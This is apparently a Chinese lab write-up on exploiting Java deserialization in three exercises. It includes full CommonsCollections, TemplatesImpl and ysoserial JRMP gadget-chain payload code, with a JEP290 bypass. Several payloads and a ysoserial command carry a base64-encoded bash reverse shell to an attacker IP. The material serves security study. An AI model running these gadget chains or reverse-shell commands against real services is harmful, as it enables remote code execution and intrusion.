Lab1
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package org.example;
import com.yxxx.javasec.deserialize.Calc; import com.yxxx.javasec.deserialize.Utils;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files;
public class Main { public static void main(String[] args) throws Exception{ Calc calc = new Calc();
Class c = calc.getClass(); Field field = c.getDeclaredField("canPopCalc"); field.setAccessible(true); field.set(calc,true);
Field field1 = c.getDeclaredField("cmd"); field1.setAccessible(true); field1.set(calc,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcxLjIwNC83ODkwIDA+JjE=}|{base64,-d}|{bash,-i}");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream); outputStream.writeObject(calc); System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray())); } }
|
Lab2
题目的IndexController如下,题目包项目中没有提供反序列化类,去库内看一眼,发现了CommonsCollections依赖,可以打CC Gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package com.yxxx.javasec.deserialize;
import java.io.ByteArrayInputStream; import java.io.InputStream; import java.io.ObjectInputStream; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam;
@Controller public class IndexController { public IndexController() { }
@RequestMapping({"/basic"}) public String greeting(@RequestParam(name = "data",required = true) String data, Model model) throws Exception { byte[] b = Utils.hexStringToBytes(data); InputStream inputStream = new ByteArrayInputStream(b); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); String name = objectInputStream.readUTF(); int year = objectInputStream.readInt(); if (name.equals("SJTU") && year == 1896) { objectInputStream.readObject(); }
return "index"; } }
|
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| package org.example;
import com.yxxx.javasec.deserialize.Utils; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap;
public class Main { public static void main(String[] args) throws Exception{ Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcxLjIwNC83ODkwIDA+JjE=}|{base64,-d}|{bash,-i}"}) });
HashMap<Object,Object> hashMap = new HashMap<>(); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(11));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,1);
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"1");
Class<?> c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer); lazyMap.remove(1);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeUTF("SJTU"); outputStream.writeInt(1896); outputStream.writeObject(hashMap1);
System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray())); } }
|
Lab3
比起Lab2,Lab3的InputStream处使用了自定义的一个反序列化类
1
| ObjectInputStream objectInputStream = new MyObjectInputStream(inputStream);
|
类的内容如下,重写了一个resolveClass()方法以及构造函数,构造函数中获取类Transformer类的类加载器,向上转型为URLClassLoader,获取URL数组对象,赋值给classLoader
重写的resolveClass()方法中,调用的是这个新的classLoader来进行类加载
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class MyObjectInputStream extends ObjectInputStream { private ClassLoader classLoader;
public MyObjectInputStream(InputStream inputStream) throws Exception { super(inputStream); URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs(); this.classLoader = new URLClassLoader(urls); }
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { Class clazz = this.classLoader.loadClass(desc.getName()); return clazz; } }
|
继续尝试使用Lab2的payload,发现了报错如图,提示类[Lorg.apache.commons.collections.Transformer;
不存在
这里的[L
开头指的是一个数组,即Transformer
数组类去进行类加载失效
这里在空指针处打上断点,debug
找到抛出异常的条件是result为null,那result是什么呢
往上看逻辑,发现result的获取过程如下:
是将原本的name,即[Lorg.apache.commons.collections.Transformer;
这一整个字符串,的点换为反斜杠,最后再拼接上.class
字符串
(此时的我还没反应过来什么)
然后得到的path用于getResource()获取资源,成功的话就调用defineClass()进行类加载从而得到result
这里我想看看上面result的获取具体是个什么样的逻辑,于是打上断点
当步过一行代码后,
omg。。
好吧,看到这个类名,能找到啥啊,
试了下发现只要是数组都会gg
这里可以回到ObjectInputStream最初的resolveClass()的实现对比去看,
前面学到类加载知道有多种方式,Class.forName()或者字节流传入defineClass()或者ClassLoader.loadClass(),
原生的方法是调用了forName(),而我们这里重写的则是调用了loadClass()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); try { return Class.forName(name, false, latestUserDefinedLoader()); } catch (ClassNotFoundException ex) { Class<?> cl = primClasses.get(name); if (cl != null) { return cl; } else { throw ex; } } }
|
自己重写了个MyObjectInputStream1,通过判断是不是数组对象的类加载
如果是的话,应以[L
开头,这时候我们调用forName()即可,成功触发命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public class MyObjectInputStream1 extends ObjectInputStream { private ClassLoader classLoader;
public MyObjectInputStream1(InputStream in) throws Exception { super(in); URL[] urls = ((URLClassLoader) ClassLoader.getSystemClassLoader()).getURLs(); this.classLoader = ClassLoader.getSystemClassLoader(); }
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (desc.getName().startsWith("[L")){ return Class.forName(desc.getName()); } return this.classLoader.loadClass(desc.getName());
} }
|
构造新的payload时,已知序列化流中不能有数组对象,ChainedTransformer需要传入数组,InvokerTransformer需要传入数组,因此一向通杀的CC6反而不能用了
想到前面shiro的利用链中并没有利用到数组对象,但是马上反应过来,我们缺少CB依赖
在p神的java安全漫谈15中介绍了另外一条不需要Transformer数组的gadget
本质上是结合了TemplateImpl.newTransformer()和TiedMapEntry.getValue()
在这条链中,templateImpl对象和他的newTransformer是由ChainedTransformer联系起来的
1 2 3 4
| Transform chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(template), new InvokerTransformer("newTransformer",null.null) })
|
TiedMapEntry.getValue()
1 2 3
| public Object getValue() { return this.map.get(this.key); }
|
LazyMap.get()
不难发现这里的transformer()方法会直接将key对象作为参数传入,
这里我们之前都并不是很在意key的值为多少,因为在chainedTransformer的第一个节点我们通常都是用ConstantTransformer直接传入template对象,无论key为多少始终返回template常量,
但是当我们发现这里的key可控时,当key为template,factory为InvokerTransformer对象的时候,会直接调用newTransformer()方法,并且不需要ChainedTransformer
1 2 3 4 5 6 7 8 9
| public Object get(Object key) { if (!this.map.containsKey(key)) { Object value = this.factory.transform(key); this.map.put(key, value); return value; } else { return this.map.get(key); } }
|
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.yxxx.javasec.deserialize.MyObjectInputStream; import com.yxxx.javasec.deserialize.Utils; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.ArrayList; import java.util.Arrays; import java.util.HashMap; import java.util.List;
public class Main { public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes0 = Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class"));
byte[][] bytes = new byte[][]{bytes0};
Class<?> c = TemplatesImpl.class; Field f = c.getDeclaredField("_bytecodes"); f.setAccessible(true); f.set(templates,bytes);
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); f = c.getDeclaredField("_tfactory"); f.setAccessible(true); f.set(templates,transformerFactory);
f = c.getDeclaredField("_name"); f.setAccessible(true); f.set(templates,"11");
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
HashMap<Object,Object> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(11));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,templates);
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"1");
Class<?> c1 = LazyMap.class; Field factoryField = c1.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,invokerTransformer); lazyMap.remove(1);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
Integer[] list = new Integer[]{1,2};
outputStream.writeUTF("SJTU"); outputStream.writeInt(1896); outputStream.writeObject(hashMap1);
ByteArrayInputStream inputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); ObjectInputStream objectInputStream = new MyObjectInputStream(inputStream); objectInputStream.readUTF(); objectInputStream.readInt(); objectInputStream.readObject();
} }
|
写着写着又出问题了,这个[[B
是个什么鬼,查一查
OK是上面的二维字节数组byte[][],
但是defineClass()这条链必须将一个二维数组赋值给_bytecodes
,因此这条路到这里也是断了
根据这篇文章:https://blog.orange.tw/posts/2018-03-pwn-ctf-platform-with-java-jrmp-gadget/
在ysoserial中有一条jrmp链
参考到这篇文章:https://blog.orange.tw/posts/2018-03-pwn-ctf-platform-with-java-jrmp-gadget/
yso中的payloads/JRMPLinstener的利用gadget如下:
1 2 3 4 5 6 7 8
| UnicastRemoteObject.readObject() UnicastRemoteObject.reexport() UnicastRemoteObject.exportObject() UnicastServerRef.exportObject() LiveRef.exportObject() TCPEndpoint.exportObject() TCPTransport.exportObject() TCPTransport.listen()
|
这里可以打一手JRMP的二次反序列化,但是这里注意到jdk版本,是u222 > 8u121,是受限于JEP290的jdk版本,但是ysoserial中的这条exploit/JRMPListener+payloads/JRMPClient攻击链具备JEP290的绕过,在版本<8u231都可打。具体绕过方式打算再开一篇文章讲
开启JRMP Server
(踩坑注意这里如果是要生成payload的话不要用powershell,用cmd)
1
| java.exe -cp .\ysoserial-all.jar ysoserial/exploit/JRMPListener 12121 "CommonsCollections5" "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcxLjIwNC83ODkwIDA+JjE=}|{base64,-d}|{bash,-i}"
|
然后根据JRMPClient稍微改写一下,将端口自己指定一下,另外getObject()方法接收的参数实际上是JRMP服务器的host:port而已,,写成command害我看了有一会,,读了下内容才发现
因为要设置UTF和Int,所以就不能直接用yso的JRMPClient了,参考一下payloads/JRMPClient的写法:
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.yxxx.javasec.deserialize.MyObjectInputStream; import com.yxxx.javasec.deserialize.Utils; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.*;
public class Main { public static Registry getObject ( final String command ) throws Exception {
String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = 12345; host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(Main.class.getClassLoader(), new Class[] { Registry.class }, obj); return proxy; }
public static void main(String[] args) throws Exception{
Registry registry = getObject("10.133.15.159:12345");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeUTF("SJTU"); outputStream.writeInt(1896); outputStream.writeObject(registry);
ByteArrayInputStream inputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); ObjectInputStream objectInputStream = new MyObjectInputStream(inputStream); objectInputStream.readUTF(); objectInputStream.readInt();
System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray())); } }
|